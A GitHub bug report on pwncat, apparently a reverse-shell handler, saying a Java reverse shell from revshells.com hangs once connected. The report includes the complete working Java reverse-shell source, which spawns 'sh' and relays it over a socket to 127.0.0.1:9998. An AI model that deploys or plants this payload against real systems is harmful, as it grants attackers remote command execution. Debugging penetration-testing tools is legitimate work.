calebstewart / pwncat

Fancy reverse and bind shell handler
https://pwncat.readthedocs.io
MIT License
2.58k stars 250 forks source link

Reverse shell hangs using a certain shell (Java) #249

Open Dev380 opened 2 years ago

Dev380 commented 2 years ago

Bug Description

When using a shell from revshells.com (Java #3), the terminal hangs once the connection is accepted.

pwncat version

Provide the output of pwncat --version or a commit hash if working from 0.5.4

$ pwncat --version
0.4.2

Target System (aka "victim")

This code:

import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;

public class shell {
    public static void main(String[] args) {
        String host = "127.0.0.1";
        int port = 9998;
        String cmd = "sh";
        try {
            Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();
            Socket s = new Socket(host, port);
            InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();
            OutputStream po = p.getOutputStream(), so = s.getOutputStream();
            while (!s.isClosed()) {
                while (pi.available() > 0)
                    so.write(pi.read());
                while (pe.available() > 0)
                    so.write(pe.read());
                while (si.available() > 0)
                    po.write(si.read());
                so.flush();
                po.flush();
                Thread.sleep(50);
                try {
                    p.exitValue();
                    break;
                } catch (Exception e) {}
            }
            p.destroy();
            s.close();
        } catch (Exception e) {}
    }
}

Steps to Reproduce

Steps to reproduce the behavior:

  1. Run the above code
  2. catch at 9998
  3. Observe it catched
  4. Observe it hang, with input doing nothing

Expected Behavior

The CLI should function as a "regular" reverse shell, with all functions available.

Screenshots

Stays like this forever img-2022-05-02-173855